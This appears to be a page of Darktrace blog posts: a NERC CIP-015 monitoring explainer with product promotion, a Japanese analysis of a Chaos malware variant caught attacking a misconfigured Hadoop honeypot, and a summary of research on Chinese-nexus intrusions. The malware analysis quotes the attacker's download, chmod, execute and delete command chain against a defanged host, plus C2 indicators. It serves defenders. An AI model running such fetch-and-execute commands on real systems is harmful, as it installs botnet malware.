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October 31, 2024

Understanding the NERC-CIP015 Internal Network Security Monitoring (INSM) requirements

Learn about NERC CIP-015 and its internal network security monitoring requirements. Discover how to ensure compliance and enhance your security posture.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Daniel Simonds
Director of Operational Technology
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31
Oct 2024

Background: NERC CIP-015

In January of 2023 the Federal Energy Regulatory Commission (FERC) released FERC Order 887 which addresses a critical security gap in Critical Infrastructure Protection (CIP) standards, the lack of internal network security monitoring (INSM).

The current NERC CIP standards only require solutions that use traditional detection systems that identify malicious code based on known rules and signatures. The new legislation will now require electric cooperatives to implement INSMs to detect malicious activity in east-west network traffic. INSMs establish a baseline of network activity and detect anomalies that would bypass traditional detection systems, improving an organization’s ability to detect novel threats. Without INSM, organizations have limited visibility into malicious activities inside their networks, leaving them vulnerable if attackers breach initial defenses like firewalls and anti-virus software.

Implementation of NERC CIP-015

Once approved, Bulk Electronic Systems (BESs) will have 36 months to implement INSM, and medium-impact BESs with external routable connectivity (ERC) will have 60 months to do so.

While the approval of the NERC CIP-015 requirements have not been finalized, preparation on the part of electric cooperatives should start as soon as possible. Darktrace is committed to helping electric cooperatives meet the requirements for INSM and help reach compliance standards.

Why is internal network security monitoring important?

NERC CIP-015 aims to enhance the detection of anomalies or unauthorized network activity within CIP environments, underscoring the importance of monitoring East-West traffic within trust zones. This approach enables faster response and recovery times.

INSMs are essential to detecting threats that bypass traditional defenses. For example, insider threats, sophisticated new attack techniques, and threats that exploit compromised credentials—such as those obtained through phishing or other malicious activities—can easily bypass traditional firewalls and antivirus software. These threats either introduce novel methods or leverage legitimate access, making them difficult to detect.

INSMs don’t rely on rules and signatures to detect anomalous activity, they spot abnormalities in network traffic and create alerts based on this activity making them vital to detecting sophisticated threats. Additionally, INSM sits behind the firewall and provides detections utilizing the passive monitoring of east west and north south traffic within the enforcement boundary.

Buyers should be aware of the discrepancies between different INSMs. Some systems require constant tuning and updating, external connectivity forcing holes in segmentation or have intrusive deployments that put sensitive OT assets at risk.

What are the NERC CIP-015 requirements?

The goal of this directive is to ensure that cyber threats are identified early in the attack lifecycle by mandating implementation of security systems that detect and speed up mitigation of malicious activity.

The requirements are divided into three sections:

  • Network security monitoring
  • Data retention for anomalous activity
  • Data protection

NERC CIP-015 emphasizes the importance of having documented processes and evidence of implementation, with a focus on risk-based monitoring, anomaly detection, evaluation, retention of data, and protection against unauthorized access. Below is a breakdown of each requirement.

R1: Network Security Monitoring

The NERC CIP-015 requires the implementation of and a documented process for monitoring networks within Electronic Security Perimeters (ESPs) that contain high and medium impact BES Cyber Systems.

Key parts:

Part 1.1: Use a risk-based rationale to implement network data feeds that monitor connections, devices, and communications.

Part 1.2: Detect anomalous network activity using the data feeds.

Part 1.3: Evaluate the anomalous activity to determine necessary actions.

M1: Evidence for R1 Implementation: Documentation of processes, including risk-based rationale for data collection, detection events, configuration settings, and network baselines.

Incorporating automated solutions for network baselining is essential for effective internal monitoring, especially in diverse environments like substations and control centers. Each environment requires unique baselines—what’s typical for a substation may differ significantly from a control center, making manual monitoring impractical.

A continuous internal monitoring solution powered by artificial intelligence (AI) simplifies this challenge by instantly detecting all connected assets, dynamically learning the environment’s baseline behavior, and identifying anomalies in real-time. Unlike traditional methods, Darktrace’s AI-driven approach requires no external connectivity or repeated tuning, offering a seamless, adaptive solution for maintaining secure operations across all environments.

R2: Data Retention for Anomalous Activity

Documented processes must be in place to retain network security data related to detected anomalies until the required actions are completed.

Note: Data that does not relate to detected anomalies (Part 1.2) is not required to be retained.

M2: Evidence for Data Retention (R2): Documentation of data retention processes, system configurations, or reports showing compliance with R2.

R3: Data Protection: Implement documented processes to protect the collected security monitoring data from unauthorized deletion or modification.

M3: Evidence for Data Protection (R3): Documentation demonstrating how network security monitoring data is protected from unauthorized access or changes.

How to choose the right INSM for your organization?

Several vendors will offer INSM, but how do you choose the right solution for your organization?

Here are seven questions to help you get started evaluating potential INSM vendors:

  1. How does the solution help with ongoing compliance and reporting including CIP-015? Or any other regulations we comply with?
  2. Does the solution provide real-time monitoring of east-west traffic across critical systems? And what kind of threats has it proven capable of finding?
  3. How deep is the traffic visibility—does it offer Layer 7 (application) insights, or is it limited to Layers 3-4?
  4. Is the solution compatible with our existing infrastructure (firewalls, IDS/IPS, SIEM, OT networks)?
  5. Is this solution inline, passive, or hybrid? What impact will it have on network latency?
  6. Does the vendor have experience with electric utilities or critical infrastructure environments?
  7. Where and how are logs and monitoring data stored?

How Darktrace helps electric utilities with INSM requirements

Darktrace's ActiveAI Security Platform is uniquely designed to continuously monitor network activity and detect anomalous activity across both IT and OT environments successfully detecting insider threats and novel ransomware, while accelerating time to detection and incident reporting.

Most INSM solutions require repeated baselining, which creates more work and increases the likelihood of false positives, as even minor deviations trigger alerts. Since networks are constantly changing, baselines need to adjust in real time. Unlike these solutions, Darktrace does not depend on external connectivity or cloud access over the public internet. Our passive network analysis requires no agents or intrusive scanning, minimizing disruptions and reducing risks to OT systems.

Darktrace's AI-driven threat detection, asset management, and incident response capabilities can help organizations comply with the requirements of NERC CIP-015 for internal network security monitoring and data protection. Built specifically to deploy in OT environments, Darktrace / OT comprehensively manages, detects, evaluates, and protects network activity and anomalous events across IT and OT environments, facilitating adherence to regulatory requirements like data retention and anomaly management.

See how INSM with Darktrace can enhance your security operations, schedule a personalized demo today.

Disclaimer

The information provided in this blog is intended for informational purposes only and reflects Darktrace’s understanding of the NERC CIP-015 INSM requirements as of the publication date. While every effort has been made to ensure the accuracy and reliability of the content, Darktrace makes no warranties or representations regarding its accuracy, completeness, or applicability to specific situations. This blog does not constitute legal or compliance advice and readers are encouraged to consult with qualified professionals for guidance specific to their circumstances. Darktrace disclaims any liability for actions taken or not taken based on the information contained herein.

References

1.     https://www.nerc.com/pa/Stand/Reliability%20Standards/CIP-015-1.pdf

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Daniel Simonds
Director of Operational Technology

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April 7, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

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はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots”と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

ダークトレースのハニーポット内で標的とされたソフトウェアの一例は、Apacheが開発したオープンソースフレームワークであり、コンピュータクラスタで大規模なデータセットの分散処理を可能にするHadoopです。ダークトレースのハニーポット環境では、攻撃者がサービス上でリモートコードを実行できるよう、Hadoopインスタンスが意図的に誤設定されています。2026年3月に観測されたサンプルにより、ダークトレースはChaosマルウェアに関連する活動を特定し、詳しく調査することができました。

Chaosマルウェアとは?

Lumen社のBlack Lotus Labsで最初に発見されたChaosは、Goベースのマルウェアです[1]。サンプル内の文字列に中国語の文字が含まれていることや、zh-CNロケールのインジケーターが存在することから、中国起源であると推測されています。コードの重複があることから、ChaosはKaijiボットネットの進化形である可能性が高いと見られます。

Chaosはこれまでルーターを標的としており、主にSSHブルートフォース攻撃やルーターソフトウェアの既知のCVE(共通脆弱性識別子)を通じて拡散します。その後感染したデバイスをDDoS(分散型サービス拒否攻撃)ボットネットや、暗号通貨マイニングに使用します。  

Chaosマルウェア侵害についてのダークトレースの視点

攻撃は脅威アクターがHadoop環境上のエンドポイントに対して新しいアプリケーションを作成するリクエストを送信したことから始まりました。

The initial infection being delivered to the unsecured endpoint.
図1:保護されていないエンドポイントへの最初の感染

これは新しいアプリケーションを定義するもので、最初のコマンドをコンテナ内で実行することがam-container-specセクションのコマンドフィールドで指定されています。これによりいくつかのシェルコマンドが起動されます:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - ファイルを攻撃者のサーバーからダウンロードします。この例ではChaosエージェントマルウェア実行形式です。
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - すべてのユーザーが読み取り、書き込み、マルウェアを実行できる権限を設定します。
  • ./7c49006c2e417f20c732409ead2d6cc0. - マルウェアを実行します。
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - 活動の痕跡を消すためにマルウェアファイルをディスクから削除します。

実際には、このアプリケーションが作成されると、攻撃者が定義したバイナリが攻撃者のサーバーからダウンロードされ、システム上で実行され、その後、フォレンジックデータ収集を防ぐために削除されます。ドメイン pan.tenire[.]com は以前、“Operation Silk Lure”と呼ばれる別のキャンペーンで観測されています。これは悪意のある求人応募履歴書を通じて ValleyRATというリモートアクセス型トロイの木馬(RAT)を配布していました。Chaosと同様に、このキャンペーンでは、偽の履歴書自体を含め、攻撃ステージ全体にわたって大量の漢字が使用されていました。このドメインは107[.]189.10.219に解決されます。これは低コストのVPSサービスを提供することで知られるプロバイダー、BuyVMのルクセンブルク拠点でホストされている仮想プライベートサーバー(VPS)です。

アップデートされたChaosマルウェアサンプルの分析

Chaosはこれまでルーターやその他のエッジデバイスを標的としており、Linuxサーバー環境の侵害は比較的新しい方向性です。ダークトレースがこの侵害で観測したサンプルは64ビットのELFバイナリですが、ルーターのハードウェアの大部分は通常ARM、MIPS、またはPowerPCアーキテクチャで動作し、多くは32ビットです。

この攻撃に使用されたマルウェアのサンプルは、以前のバージョンと比べて著しい再構築が行われています。デフォルトの名前空間は“main_chaos”から単に“main”に変更され、またいくつかの関数が再設計されています。これらの変更が行われていますが、systemdを介して確立される永続化メカニズムや、悪意のあるキープアライブスクリプトが/boot/system.pubに保存されるなど、中心的な特徴は維持されています。

The creation of the systemd persistence service.
図2:systemd 永続化サービスの作成

同様に、DDoS攻撃を実行する関数もこれまで通り存在し、以下のプロトコルを標的とするメソッドが含まれています:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

ただし、SSHスプレッダーや脆弱性エクスプロイトなどのいくつかの機能は削除されたようです。さらに、以前はKaijiから継承されたと考えられていたいくつかの機能も変更されており、脅威アクターがマルウェアを書き直したか、大幅にリファクタリングしたことを示唆しています。

このマルウェアの新しい機能はSOCKSプロキシです。マルウェアがコマンド&コントロール(C2)サーバーからStartProxyコマンドを受信すると、攻撃者が制御するTCPポートで待ち受けを開始し、SOCKS5プロキシとして動作します。これにより、攻撃者は侵害されたサーバーを経由してトラフィックをルーティングし、それをプロキシとして使用することが可能になります。この機能にはいくつかの利点があります。被害者のインターネット接続から攻撃を開始できるため、活動が攻撃者ではなく被害者から発生しているように見せかけられること、また侵害されたサーバーからのみアクセス可能な内部ネットワークに移動できる点です。

The command processor for StartProxy. Due to endianness, the string is reversed.
図3:StartProxyのコマンドプロセッサ。エンディアン性のため文字列が反転しています

以前、他のDDoSボットネット、たとえばAisuruなどでは、他のサイバー犯罪者にプロキシサービスを提供するためにピボットしているケースがありました。Chaosの開発者はこの傾向に注目し、同様の機能を追加することで収益化のオプションを拡大、自らのボットネットの機能を強化することにより、他の競合するマルウェア運営者から遅れをとらないようにしたものと思われます。

サンプルには埋め込みドメイン、gmserver.osfc[.]org[.]cnが含まれており、C2サーバーのIPを解決するために使用されていました。本稿執筆の時点ではドメインは70[.]39.181.70に解決され、これは地理位置情報が香港にあるNetLabelGlobalが所有するIPです。

過去には、このドメインは154[.]26.209.250にも解決されており、これは専用サーバーレンタルを提供する低コストVPSプロバイダー、Kurun Cloudが所有していました。マルウェアはコマンドの送信および受信にポート65111を使用しますが、どちらのIPも本稿執筆時点ではこのポート上で接続を受け入れている様子はありませんでした。

主なポイント

Chaosは新しいマルウェアではなく、その継続的進化はサイバー犯罪者がボットネットをさらに拡大し機能を強化しようと努力を重ねていることの現れです。過去に報告されているChaosマルウェアにも、すでに幅広いルーターCVEのエクスプロイト機能が含まれていました。そして最近のLinuxクラウドサーバー脆弱性を狙った進化により、このマルウェアの影響範囲はさらに広がります。

したがって、セキュリティチームがCVEへのパッチを行い、クラウド上で展開されているアプリケーションに対して強固なセキュリティ設定を行うことが重要となります。クラウド市場が成長を続ける一方で、使用できるセキュリティツールが追い付かない状況においてこのことは特に重要な意味を持ちます。

AisuruやChaos等のボットネットがプロキシサービスをコア機能に取り入れる最近の変化は、ボットネットが組織とセキュリティチームにもたらすリスクはもはやDoS攻撃だけではないことを意味します。プロキシにより攻撃者はレート制限を回避し痕跡を隠すことができ、より複雑な形のサイバー犯罪が可能になると同時に、防御者にとっては悪意あるキャンペーンを検知しブロックすることが格段に難しくなります。

担当: Nathaniel Bill (Malware Research Engineer)
編集: Ryan Traill (Content Manager)

侵害インジケーター (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos マルウェアハッシュ

182[.]90.229.95 - 攻撃者 IP

pan.tenire[.]com (107[.]189.10.219) - 悪意あるバイナリをホストしているサーバー

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - 攻撃者 C2 サーバー

参考資料

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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Nathaniel Bill
Malware Research Engineer

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April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience 

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Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.  

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.  

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.  

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.  

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.  

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.  

What the data shows

Several clear trends emerged from the analysis:

  • Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.  
  • Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.  
  • Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.  

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.  

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.  

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.  

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.  

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.  

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.  

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.  

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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